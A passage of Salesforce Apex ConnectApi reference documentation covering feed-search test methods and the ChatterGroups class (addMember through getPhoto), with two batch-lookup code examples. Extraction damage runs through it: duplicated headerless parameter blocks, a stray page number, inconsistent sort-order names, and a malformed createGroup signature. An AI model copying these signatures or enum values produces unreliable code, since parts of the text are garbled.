The type of feed. Valid values include every ConnectApi.FeedType except Company, DirectMessages, Filter, Landing, and Streams.

**subjectId**
Type: String
If feedType is Record, subjectId can be any record ID, including a group ID. If feedType is Streams, subjectId must be a stream ID. If feedType is Topics, subjectId must be a topic ID. If feedType is UserProfile, subjectId can be any user ID. If the feedType is any other value, subjectId must be the ID of the context user or the alias me.

**q**
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

**result**
Type: ConnectApi.FeedItemPage
The object containing test data.

Return Value
Type: Void

SEE ALSO:
- searchFeedItemsInFeed(communityId, feedType, subjectId, q)
- Testing ConnectApi Code

**setTestSearchFeedItemsInFeed(communityId, feedType, subjectId, pageParam, pageSize, sortParam, q, result)**

Register a ConnectApi.FeedItemPage object to be returned when the matching ConnectApi.searchFeedItemsInFeed method is called in a test context. Use the method with the same parameters or you receive an exception.

API Version
28.0–31.0

Signature

```java
public static Void setTestSearchFeedItemsInFeed(String communityId, ConnectApi.FeedType feedType, String subjectId, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, String q, ConnectApi.FeedItemPage result)
```
Parameters

- **communityId**
  - Type: String
  - Use the ID for an Experience Cloud site, internal, or null.

- **feedType**
  - Type: `ConnectApi.FeedType`
  - The type of feed. Valid values include every `ConnectApi.FeedType` except Company, DirectMessages, Filter, Landing, and Streams.

- **subjectId**
  - Type: String
  - If `feedType` is Record, `subjectId` can be any record ID, including a group ID. If `feedType` is Streams, `subjectId` must be a stream ID. If `feedType` is Topics, `subjectId` must be a topic ID. If `feedType` is UserProfile, `subjectId` can be any user ID. If the `feedType` is any other value, `subjectId` must be the ID of the context user or the alias me.

- **pageParam**
  - Type: String
  - The page token to use to view the page. Page tokens are returned as part of the response class, for example, `currentPageToken` or `nextPageToken`. If you pass in null, the first page is returned.

- **pageSize**
  - Type: Integer
  - Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

- **sortParam**
  - Type: `ConnectApi.FeedSortOrder`
  - Values are:
    - `CreatedDateAsc`—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
    - `CreatedDateDesc`—Sorts by most recent creation date.
    - `LastModifiedDateDesc`—Sorts by most recent activity.
    - `MostViewed`—Sorts by most viewed content. This sort order is available only for Home feeds when the `ConnectApi.FeedFilter` is UnansweredQuestions.
    - `Relevance`—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds. Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null, the default value CreatedDateDesc is used.

- **q**
  - Type: String
  - Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

- **result**
  - Type: `ConnectApi.FeedItemPage`
  - The object containing test data.
Return Value
Type: Void

SEE ALSO:
searchFeedItemsInFeed(communityId, feedType, subjectId, pageParam, pageSize, sortParam, q)

Testing ConnectApi Code

setTestSearchFeedItemsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, q, result)

Register a ConnectApi.FeedItemPage object to be returned when the matching ConnectApi.searchFeedItemsInFeed method is called in a test context. Use the method with the same parameters or you receive an exception.

API Version
29.0–31.0

Signature
public static Void setTestSearchFeedItemsInFeed(String communityId, ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount, ConnectApi.FeedDensity density, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, String q, ConnectApi.FeedItemPage result)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedType
Type: ConnectApi.FeedType
The type of feed. Valid values include every ConnectApi.FeedType except Company, DirectMessages, Filter, Landing, and Streams.

subjectId
Type: String
If feedType is Record, subjectId can be any record ID, including a group ID. If feedType is Streams, subjectId must be a stream ID. If feedType is Topics, subjectId must be a topic ID. If feedType is UserProfile, subjectId can be any user ID. If the feedType is any other value, subjectId must be the ID of the context user or the alias me.

recentCommentCount
Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.

density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
• **AllUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.

• **FewerUpdates**—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

**pageParam**
Type: `String`

The page token to use to view the page. Page tokens are returned as part of the response class, for example, `currentPageToken` or `nextPageToken`. If you pass in `null`, the first page is returned.

**pageSize**
Type: `Integer`

Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

**sortParam**
Type: `ConnectApi.FeedSortOrder`

Values are:

• `CreatedAtAsc`—Sorts by oldest creation date. This sort order is available only for `DirectMessageModeration`, `Draft`, `Moderation`, and `PendingReview` feeds.

• `CreatedAtDesc`—Sorts by most recent creation date.

• `LastModifiedDateDesc`—Sorts by most recent activity.

• `MostViewed`—Sorts by most viewed content. This sort order is available only for `Home` feeds when the `ConnectApi.FeedFilter` is `UnansweredQuestions`.

• `Relevance`—Sorts by most relevant content. This sort order is available only for `Company`, `Home`, and `Topics` feeds.

Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in `null`, the default value `CreatedAtDesc` is used.

**q**
Type: `String`

Required and cannot be `null`. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

**result**
Type: `ConnectApi.FeedItemPage`

The object containing test data.

**Return Value**
Type: `Void`

SEE ALSO:

29.0–31.0

Signature
public static Void setTestSearchFeedItemsInFeed(String communityId, ConnectApi.FeedType feedType, String subjectId, Integer recentCommentCount, ConnectApi.FeedDensity density, String pageParam, Integer pageSize, ConnectApi.FeedSortOrder sortParam, String q, Boolean showInternalOnly, ConnectApi.FeedItemPage result)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

feedType
Type: ConnectApi.FeedType
The type of feed. Valid values include every ConnectApi.FeedType except Company, DirectMessages, Filter, Landing, and Streams.

subjectId
Type: String
If feedType is Record, subjectId can be any record ID, including a group ID. If feedType is Streams, subjectId must be a stream ID. If feedType is Topics, subjectId must be a topic ID. If feedType is UserProfile, subjectId can be any user ID. If the feedType is any other value, subjectId must be the ID of the context user or the alias me.

recentCommentCount
Type: Integer
The maximum number of comments to return with each feed item. The default value is 3.

density
Type: ConnectApi.FeedDensity
Specify the amount of content in a feed.
- AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
- FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

pageParam
Type: String
The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.
**pageSize**
Type: Integer
Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

**sortParam**
Type: ConnectApi.FeedSortOrder
Values are:
- **CreatedDateAsc**—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
- **CreatedDateDesc**—Sorts by most recent creation date.
- **LastModifiedDateDesc**—Sorts by most recent activity.
- **MostViewed**—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
- **Relevance**—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null, the default value CreatedDateDesc is used.

**q**
Type: String
Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

**showInternalOnly**
Type: Boolean
Specifies whether to show only feed items from internal (non-Experience Cloud site) users (true), or not (false). The default value is false.

**result**
Type: ConnectApi.FeedItemPage
The object containing test data.

Return Value
Type: Void

SEE ALSO:
- searchFeedItemsInFeed(communityId, feedType, subjectId, recentCommentCount, density, pageParam, pageSize, sortParam, q, showInternalOnly)
- Testing ConnectApi Code

**setTestSearchFeedItemsInFilterFeed(communityId, subjectId, keyPrefix, q, result)**
Register a ConnectApi.FeedItemPage object to be returned when the matching ConnectApi.searchFeedItemsInFilterFeed method is called in a test context. Use the method with the same parameters or you receive an exception.
API Version
28.0–31.0

Signature
public static Void setTestSearchFeedItemsInFilterFeed(String communityId, String subjectId, String keyPrefix, String q, ConnectApi.FeedItemPage result)

Parameters
communityId
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.

subjectId
  Type: String
  The ID of the context user or the alias me.

keyPrefix
  Type: String
  A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.

q
  Type: String
  Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

result
  Type: ConnectApi.FeedItemPage
  Specify the test feed item page.

Return Value
Type: Void

SEE ALSO:
  searchFeedItemsInFilterFeed(communityId, subjectId, keyPrefix, q)
  Testing ConnectApi Code

setTestSearchFeedItemsInFilterFeed(communityId, feedType, subjectId, keyPrefix, pageParam, pageSize, sortParam, q, result)

Register a ConnectApi.FeedItemPage object to be returned when the matching ConnectApi.searchFeedItemsInFilterFeed method is called in a test context. Use the method with the same parameters or you receive an exception.
API Version
28.0–31.0

Signature
public static Void setTestSearchFeedItemsInFilterFeed(String communityId,
ConnectApi.FeedType feedType, String subjectId, String keyPrefix, String pageParam,
Integer pageSize, ConnectApi.FeedSortOrder sortParam, String q, ConnectApi.FeedItemPage
result)

Parameters

communityId
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.

feedType
  Type: ConnectApi.FeedType
  The type of feed. Valid values include every ConnectApi.FeedType except Company, DirectMessageModeration,
  DirectMessages, Filter, Home, Landing, Moderation, and PendingReview.

subjectId
  Type: String
  The ID of the context user or the alias me.

keyPrefix
  Type: String
  A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For
  example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.

pageParam
  Type: String
  The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken
  or nextPageToken. If you pass in null, the first page is returned.

pageSize
  Type: Integer
  Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

sortParam
  Type: ConnectApi.FeedSortOrder
  Values are:
  • CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration,
    Draft, Moderation, and PendingReview feeds.
  • CreatedDateDesc—Sorts by most recent creation date.
  • LastModifiedDateDesc—Sorts by most recent activity.
  • MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the
    ConnectApi.FeedFilter is UnansweredQuestions.
  • Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null, the default value CreatedDateDesc is used.

q
   Type: String
   Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.

result
   Type: ConnectApi.FeedItemPage
   Specify the test feed item page.

Return Value
Type: Void

Parameters
communityId
   Type: String
   Use the ID for an Experience Cloud site, internal, or null.
feedType
   Type: ConnectApi.FeedType
   The type of feed. Valid values include every ConnectApi.FeedType except Company, DirectMessageModeration, DirectMessages, Filter, Home, Landing, Moderation, and PendingReview.
subjectId
   Type: String
   The ID of the context user or the alias me.

keyPrefix
   Type: String
   A key prefix that specifies record type. A key prefix is the first three characters in the object ID, which specifies the object type. For example, User objects have a prefix of 005 and Group objects have a prefix of 0F9.

recentCommentCount
   Type: Integer
   The maximum number of comments to return with each feed item. The default value is 3.

density
   Type: ConnectApi.FeedDensity
   Specify the amount of content in a feed.
   - AllUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations.
   - FewerUpdates—Displays all updates from people and records the user follows and groups the user is a member of. Also displays custom recommendations, but hides some system-generated updates from records.

pageParam
   Type: String
   The page token to use to view the page. Page tokens are returned as part of the response class, for example, currentPageToken or nextPageToken. If you pass in null, the first page is returned.

pageSize
   Type: Integer
   Specifies the number of feed items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

sortParam
   Type: ConnectApi.FeedSortOrder
   Values are:
   - CreatedDateAsc—Sorts by oldest creation date. This sort order is available only for DirectMessageModeration, Draft, Moderation, and PendingReview feeds.
   - CreatedDateDesc—Sorts by most recent creation date.
   - LastModifiedDateDesc—Sorts by most recent activity.
   - MostViewed—Sorts by most viewed content. This sort order is available only for Home feeds when the ConnectApi.FeedFilter is UnansweredQuestions.
   - Relevance—Sorts by most relevant content. This sort order is available only for Company, Home, and Topics feeds.
   Sorts the returned feed by the most recently created feed item, or by the most recently modified feed item. If you pass in null, the default value CreatedDateDesc is used.

q
   Type: String
   Required and cannot be null. Specifies the string to search. The search string must contain at least two characters, not including wildcards. See Wildcards.
result
    Type: ConnectApi.FeedItemPage
    Specify the test feed item page.

Return Value
Type: Void

ChatterGroups Class
Information about groups, such as the group’s members, photo, and the groups the specified user is a member of. Add members to a group, remove members, and change the group photo.

Namespace
ConnectApi

ChatterGroups Methods
The following are methods for ChatterGroups. All methods are static.

IN THIS SECTION:
    addMember(communityId, groupId, userId)
    Add a user to a group as a standard member.
    addMemberWithRole(communityId, groupId, userId, role)
    Add a user with a role to a group.
    addRecord(communityId, groupId, recordId)
    Associate a record with a group.
    createGroup(communityId, groupInput)
    Create a group.
    deleteBannerPhoto(communityId, groupId)
    Delete the group banner photo.
    deleteGroup(communityId, groupId)
    Delete a group.
    deleteMember(communityId, membershipId)
    Remove a member from a group.
    deletePhoto(communityId, groupId)
    Delete the group photo.
getAnnouncements(communityId, groupId)
Get the first page of announcements in a group.

getAnnouncements(communityId, groupId, pageParam, pageSize)
Get a page of announcements in a group.

getBannerPhoto(communityId, groupId)
Get the group banner photo.

getGroup(communityId, groupId)
Get information about a group.

getGroupBatch(communityId, groupIds)
Get information about a list of groups.

getGroupMembershipRequest(communityId, requestId)
Get information about a request to join a private group.

getGroupMembershipRequests(communityId, groupId)
Get information about every request to join a private group.

getGroupMembershipRequests(communityId, groupId, status)
Get information about every request to join a private group that has a specified status.

getGroups(communityId)
Get the first page of groups.

getGroups(communityId, pageParam, pageSize)
Get a page of groups.

getGroups(communityId, pageParam, pageSize, archiveStatus)
Get a page of groups with an archive status.

getMember(communityId, membershipId)
Get information about a group member.

getMembers(communityId, groupId)
Get the first page of information about the members of a group.

getMembers(communityId, groupId, pageParam, pageSize)
Get a page of information about the members of a group.

getMembershipBatch(communityId, membershipIds)
Get information about a list of group memberships.

getMyChatterSettings(communityId, groupId)
Get the context user’s Chatter settings for a group.

getPhoto(communityId, groupId)
Get the photo for a group.

getRecord(communityId, groupRecordId)
Get a record associated with a group.

getRecords(communityId, groupId)
Get the first page of records associated with a group.

getRecords(communityId, groupId, pageParam, pageSize)
Get a page of records associated with a group.
inviteUsers(groupId, invite)
Invite internal and external users to join a group.

postAnnouncement(communityId, groupId, announcement)
Post an announcement to a group.

removeRecord(communityId, groupRecordId)
Remove the association of a record with a group.

requestGroupMembership(communityId, groupId)
Request membership in a private group.

searchGroups(communityId, q)
Get the first page of groups that match the search criteria.

searchGroups(communityId, q, pageParam, pageSize)
Get a page of groups that match the search criteria.

searchGroups(communityId, q, archiveStatus, pageParam, pageSize)
Get a page of groups with the archive status that match the search criteria.

setBannerPhoto(communityId, groupId, fileId, versionNumber)
Set an uploaded file as the group banner photo.

setBannerPhoto(communityId, groupId, fileUpload)
Set a file that hasn’t been uploaded as the group banner photo.

setBannerPhotoWithAttributes(communityId, groupId, bannerPhoto)
Set and crop an uploaded file as the group banner photo.

setBannerPhotoWithAttributes(communityId, groupId, bannerPhoto, fileUpload)
Set and crop a file that hasn’t been uploaded as the group banner photo.

setPhoto(communityId, groupId, fileId, versionNumber)
Set an uploaded file as the group photo.

setPhoto(communityId, groupId, fileUpload)
Set a file that hasn’t been uploaded as the group photo.

setPhotoWithAttributes(communityId, groupId, photo)
Set and crop an uploaded file as the group photo.

setPhotoWithAttributes(communityId, groupId, photo, fileUpload)
Set and crop a file that hasn’t been uploaded as the group photo.

updateGroup(communityId, groupId, groupInput)
Update the settings of a group.

updateGroupMember(communityId, membershipId, role)
Update the role of a group member.

updateMyChatterSettings(communityId, groupId, emailFrequency)
Update the context user’s email frequency for a group.

updateRequestStatus(communityId, requestId, status)
Update a request to join a private group.

updateRequestStatus(communityId, requestId, status, responseMessage)
Update a request to join a private group and optionally provide a message when the request is denied.
addMember(communityId, groupId, userId)
Add a user to a group as a standard member.

API Version
28.0

Requires Chatter
Yes

Signature
public static ConnectApi.GroupMember addMember(String communityId, String groupId, String userId)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

groupId
Type: String
The ID for a group.

userId
Type: String
The ID for a user.

Return Value
Type: ConnectApi.GroupMember

Usage
To execute this method, the context user must be the group owner or moderator.

addMemberWithRole(communityId, groupId, userId, role)
Add a user with a role to a group.

API Version
29.0

Requires Chatter
Yes
public static ConnectApi.GroupMember addMemberWithRole(String communityId, String groupId, String userId, ConnectApi.GroupMembershipType role)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

groupId
Type: String
The ID for a group.

userId
Type: String
The ID for a user.

role
Type: ConnectApi.GroupMembershipType
The group membership type. One of these values:
• GroupManager
• StandardMember

Return Value
Type: ConnectApi.GroupMember

Usage
To execute this method, the context user must be the group owner or moderator.

addRecord(communityId, groupId, recordId)
Associate a record with a group.

API Version
34.0

Requires Chatter
Yes
Parameters

**communityId**
  Type: *String*
  Use the ID for an Experience Cloud site, *internal*, or *null*.

**groupId**
  Type: *String*
  ID of the group with which to associate the record.

**recordId**
  Type: *String*
  ID of the record to associate with the group.

Return Value

Type: *ConnectApi.GroupRecord*

**createGroup(communityId, groupInput)**

Create a group.

API Version

29.0

Requires Chatter

Yes

Signature

```
public static ConnectApi.ChatterGroupDetail createGroup(String, communityId, ConnectApi.ChatterGroupInput groupInput)
```

Parameters

**communityId**
  Type: *String*,
  Use the ID for an Experience Cloud site, *internal*, or *null*.

**groupInput**
  Type: *ConnectApi.ChatterGroupInput*
  The properties of the group.

Return Value

Type: *ConnectApi.ChatterGroupDetail*
deleteBannerPhoto(communityId, groupId)
Delete the group banner photo.

API Version
36.0

Requires Chatter
Yes

Signature
public static Void deleteBannerPhoto(String communityId, String groupId)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

groupId
Type: String
ID of the group.

Return Value
Type: Void

Usage
This method is successful only when the context user is the group manager or owner, or has Modify All Data permission.

deleteGroup(communityId, groupId)
Delete a group.

API Version
29.0

Requires Chatter
Yes

Signature
public static Void deleteGroup(String communityId, String groupId)
Parameters

`communityId`  
Type: `String`  
Use the ID for an Experience Cloud site, `internal`, or `null`.

`groupId`  
Type: `String`  
The ID for a group.

Return Value  
Type: `Void`

**deleteMember(communityId, membershipId)**  
Remove a member from a group.

API Version  
28.0

Requires Chatter  
Yes

Signature  
```java  
public static Void deleteMember(String communityId, String membershipId)  
```

Parameters  

`communityId`  
Type: `String`  
Use the ID for an Experience Cloud site, `internal`, or `null`.

`membershipId`  
Type: `String`  
The ID for a membership.

Return Value  
Type: `Void`

Usage  
This method is successful only when the context user is the group manager or owner, or has Modify All Data permission.

**deletePhoto(communityId, groupId)**  
Delete the group photo.
API Version
28.0

Requires Chatter
Yes

Signature
public static Void deletePhoto(String communityId, String groupId)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

groupId
Type: String
The ID for a group.

Return Value
Type: Void

Usage
This method is only successful when the context user is the group manager or owner, or has Modify All Data permission.

getAnnouncements(communityId, groupId)
Get the first page of announcements in a group.

API Version
31.0

Requires Chatter
Yes

Signature
public static ConnectApi.AnnouncementPage getAnnouncements(String communityId, String groupId)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

**groupId**
Type: String
The ID for a group.

**Return Value**
Type: `ConnectApi.AnnouncementPage`

**Usage**
To post an announcement, get information about an announcement, update the expiration date of an announcement, or delete an announcement, use the methods of the `ConnectApi.Announcements` class.

**getAnnouncements**(*communityId*, *groupId*, *pageParam*, *pageSize*)
Get a page of announcements in a group.

**API Version**
31.0

**Requires Chatter**
Yes

**Signature**
```java
public static ConnectApi.AnnouncementPage getAnnouncements(String communityId, String groupId, Integer pageParam, Integer pageSize)
```

**Parameters**
- **communityId**
  Type: String
  Use the ID for an Experience Cloud site, internal, or null.

- **groupId**
  Type: String
  The ID for a group.

- **pageParam**
  Type: Integer
  Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

- **pageSize**
  Type: Integer
  Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.
Return Value
Type: `ConnectApi.AnnouncementPage`

Usage
To post an announcement, get information about an announcement, update the expiration date of an announcement, or delete an announcement, use the methods of the `ConnectApi.Announcements` class.

`getBannerPhoto(communityId, groupId)`
Get the group banner photo.

API Version
36.0

Requires Chatter
Yes

Signature
`public static ConnectApi.BannerPhoto getBannerPhoto(String communityId, String groupId)`

Parameters
`communityId`
Type: `String`
Use the ID for an Experience Cloud site, internal, or null.

`groupId`
Type: `String`
The ID of the group.

Return Value
Type: `ConnectApi.BannerPhoto`

`getGroup(communityId, groupId)`
Get information about a group.

API Version
28.0

Available to Guest Users
31.0
Requires Chatter
Yes

Signature
public static ConnectApi.ChatterGroupDetail getGroup(String communityId, String groupId)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, `internal`, or `null`.

groupId
Type: String
The ID for a group.

Return Value
Type: ConnectApi.ChatterGroupDetail

getGroupBatch(communityId, groupIds)
Get information about a list of groups.

API Version
31.0

Requires Chatter
Yes

Signature
public static ConnectApi.BatchResult[] getGroupBatch(String communityId, List<String> groupIds)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, `internal`, or `null`.

groupIds
Type: List<String>
A list of up to 500 group IDs.
Return Value

Type: `ConnectApi.BatchResult[]`

The `ConnectApi.BatchResult.getResult()` method returns a `ConnectApi.ChatterGroup` object and errors embedded in the results for groups that didn’t load.

Example

```java
// Create a list of groups.
ConnectApi.ChatterGroupPage groupPage = ConnectApi.ChatterGroups.getGroups(null);

// Create a list of group IDs.
List<String> groupIds = new List<String>();
for (ConnectApi.ChatterGroup aGroup : groupPage.groups){
    groupIds.add(aGroup.id);
}

// Get info about all the groups in the list.
ConnectApi.BatchResult[] batchResults = ConnectApi.ChatterGroups.getGroupBatch(null, groupIds);

for (ConnectApi.BatchResult batchResult : batchResults) {
    if (batchResult.isSuccess()) {
        // Operation was successful.
        // Print the number of members in each group.
        ConnectApi.ChatterGroup aGroup;
        if(batchResult.getResult() instanceof ConnectApi.ChatterGroup) {
            aGroup = (ConnectApi.ChatterGroup) batchResult.getResult();
        }
        System.debug('SUCCESS');
        System.debug(aGroup.memberCount);
    }
    else {
        // Operation failed. Print errors.
        System.debug('FAILURE');
        System.debug(batchResult.getErrorMessage());
    }
}
```

SEE ALSO:

- `getMembershipBatch(communityId, membershipIds)`
- `getGroupMembershipRequest(communityId, requestId)`

Get information about a request to join a private group.

API Version

28.0
Requires Chatter
Yes

Signature

public static ConnectApi.GroupMembershipRequest getGroupMembershipRequest(String communityId, String requestId)

Parameters

  communityId  
    Type: String  
    Use the ID for an Experience Cloud site, internal, or null.

  requestId  
    Type: String  
    The ID of a request to join a private group.

Return Value

Type: ConnectApi.GroupMembershipRequest

Usage

This method is successful only when the context user is the group manager or owner, or has Modify All Data permission.

getGroupMembershipRequests(communityId, groupId)
Get information about every request to join a private group.

API Version

28.0

Requires Chatter
Yes

Signature

public static ConnectApi.GroupMembershipRequests getGroupMembershipRequests(String communityId, String groupId)

Parameters

  communityId  
    Type: String  
    Use the ID for an Experience Cloud site, internal, or null.

  groupId  
    Type: String

1496
The ID for a group.

Return Value
Type: ConnectApi.GroupMembershipRequests

Usage
This method is successful only when the context user is the group manager or owner, or has Modify All Data permission.

getGroupMembershipRequests(communityId, groupId, status)
Get information about every request to join a private group that has a specified status.

API Version
28.0

Requires Chatter
Yes

Signature
public static ConnectApi.GroupMembershipRequests getGroupMembershipRequests(String communityId, String groupId, ConnectApi.GroupMembershipRequestStatus status)

Parameters
communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

groupId
Type: String
The ID for a group.

status
Type: ConnectApi.GroupMembershipRequestStatus
status—Status of a request to join a private group.

• Accepted
• Declined
• Pending

Return Value
Type: ConnectApi.GroupMembershipRequests
Usage
This method is successful only when the context user is the group manager or owner, or has Modify All Data permission.

`getGroups(communityId)`
Get the first page of groups.

API Version
28.0

Available to Guest Users
31.0

Requires Chatter
Yes

Signature
`public static ConnectApi.ChatterGroupPage getGroups(String communityId)`

Parameters
`communityId`  
Type: `String`  
Use the ID for an Experience Cloud site, `internal`, or `null`.

Return Value
Type: `ConnectApi.ChatterGroupPage`

`getGroups(communityId, pageParam, pageSize)`
Get a page of groups.

API Version
28.0

Available to Guest Users
31.0

Requires Chatter
Yes
public static ConnectApi.ChatterGroupPage getGroups(String communityId, Integer pageParam, Integer pageSize)

Parameters

**communityId**
- Type: String
  - Use the ID for an Experience Cloud site, internal, or null.

**pageParam**
- Type: Integer
  - Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.

**pageSize**
- Type: Integer
  - Specifies the number of items per page. Valid values are from 1 through 100. If you pass in null, the default size is 25.

Return Value
Type: ConnectApi.ChatterGroupPage

getGroups(communityId, pageParam, pageSize, archiveStatus)
Get a page of groups with an archive status.

API Version
29.0

Available to Guest Users
31.0

Requires Chatter
Yes

Signature

public static ConnectApi.ChatterGroupPage getGroups(String communityId, Integer pageParam, Integer pageSize, ConnectApi.GroupArchiveStatus archiveStatus)

Parameters

**communityId**
- Type: String
  - Use the ID for an Experience Cloud site, internal, or null.

**pageParam**
- Type: Integer
  - Specifies the number of the page you want returned. Starts at 0. If you pass in null or 0, the first page is returned.
Specifies the number of the page you want returned. Starts at 0. If you pass in `null` or 0, the first page is returned.

`pageSize`
Type: `Integer`

Specifies the number of items per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

`archiveStatus`
Type: `ConnectApi.GroupArchiveStatus`

Archive status of groups.
- **All**—All groups, including groups that are archived and groups that aren’t archived.
- **Archived**—Groups that are archived.
- **NotArchived**—Groups that aren’t archived.

If you pass in `null`, the default value is **All**.

Return Value
Type: `ConnectApi.ChatterGroupPage`

### `getMember(communityId, membershipId)`
Get information about a group member.

API Version
28.0

Requires Chatter
Yes

Signature

```java
public static ConnectApi.GroupMember getMember(String communityId, String membershipId)
```

Parameters

- `communityId`
  Type: `String`
  Use the ID for an Experience Cloud site, `internal`, or `null`.

- `membershipId`
  Type: `String`
  The ID for a membership.

Return Value
Type: `ConnectApi.GroupMember`
**getMembers(communityId, groupId)**
Get the first page of information about the members of a group.

API Version
28.0

Available to Guest Users
36.0

Requires Chatter
Yes

Signature
```
public static ConnectApi.GroupMemberPage getMembers(String communityId, String groupId)
```

Parameters
- **communityId**
  Type: **String**
  Use the ID for an Experience Cloud site, internal, or null.
- **groupId**
  Type: **String**
  The ID for a group.

Return Value
Type: `ConnectApi.GroupMemberPage`

**getMembers(communityId, groupId, pageParam, pageSize)**
Get a page of information about the members of a group.

API Version
28.0

Available to Guest Users
36.0

Requires Chatter
Yes
Signature

```java
public static ConnectApi.GroupMemberPage getMembers(String communityId, String groupId,
Integer pageParam, Integer pageSize)
```

Parameters

- `communityId`  
  Type: `String`  
  Use the ID for an Experience Cloud site, `internal`, or `null`.

- `groupId`  
  Type: `String`  
  The ID for a group.

- `pageParam`  
  Type: `Integer`  
  Specifies the number of the page you want returned. Starts at 0. If you pass in `null` or 0, the first page is returned.

- `pageSize`  
  Type: `Integer`  
  Specifies the number of items per page. Valid values are from 1 through 100. If you pass in `null`, the default size is 25.

Return Value

Type: `ConnectApi.GroupMemberPage`

### getMembershipBatch(communityId, membershipIds)

Get information about a list of group memberships.

API Version

31.0

Requires Chatter

Yes

Signature

```java
public static ConnectApi.BatchResult[] getMembershipBatch(String communityId,
List<String> membershipIds)
```

Parameters

- `communityId`  
  Type: `String`  
  Use the ID for an Experience Cloud site, `internal`, or `null`.

- `membershipIds`  
  Type: `List<String>`
A list of up to 500 group membership IDs.

Return Value

Type: `ConnectApi.BatchResult[]`

The `ConnectApi.BatchResult.getResult()` method returns a `ConnectApi.GroupMember` object and errors embedded in the results for group memberships that didn’t load.

Example

```java
// Get members of a group.
ConnectApi.GroupMemberPage membersPage = ConnectApi.ChatterGroups.getMembers(null, '0F9D0000000oOT');

// Create a list of membership IDs.
List<String> membersList = new List<String>();
for (ConnectApi.GroupMember groupMember : membersPage.members){
    membersList.add(groupMember.id);
}

// Get info about all group memberships in the list.
ConnectApi.BatchResult[] batchResults = ConnectApi.ChatterGroups.getMembershipBatch(null, membersList);

for (ConnectApi.BatchResult batchResult : batchResults) {
    if (batchResult.isSuccess()) {
        // Operation was successful.
        // Print the first name of each member.
        ConnectApi.GroupMember groupMember;
        if(batchResult.getResult() instanceof ConnectApi.GroupMember) {
            groupMember = (ConnectApi.GroupMember) batchResult.getResult();
        }
        System.debug('SUCCESS');
        System.debug(groupMember.user.firstName);
    } else {
        // Operation failed. Print errors.
        System.debug('FAILURE');
        System.debug(batchResult.getErrorMessage());
    }
}
```

SEE ALSO:

- `getGroupBatch(communityId, groupIds)`
- `getMyChatterSettings(communityId, groupId)`

Get the context user’s Chatter settings for a group.

API Version

28.0
Requires Chatter
Yes

Signature
public static ConnectApi.GroupChatterSettings getMyChatterSettings(String communityId, String groupId)

Parameters

communityId
Type: String
Use the ID for an Experience Cloud site, internal, or null.

groupId
Type: String
The ID for a group.

Return Value
Type: ConnectApi.GroupChatterSettings

getPhoto(communityId, groupId)
Get the photo for a group.

API Version
28.0

Requires Chatter
Yes

Signature
public static ConnectApi.Photo getPhoto(String communityId, String groupId)

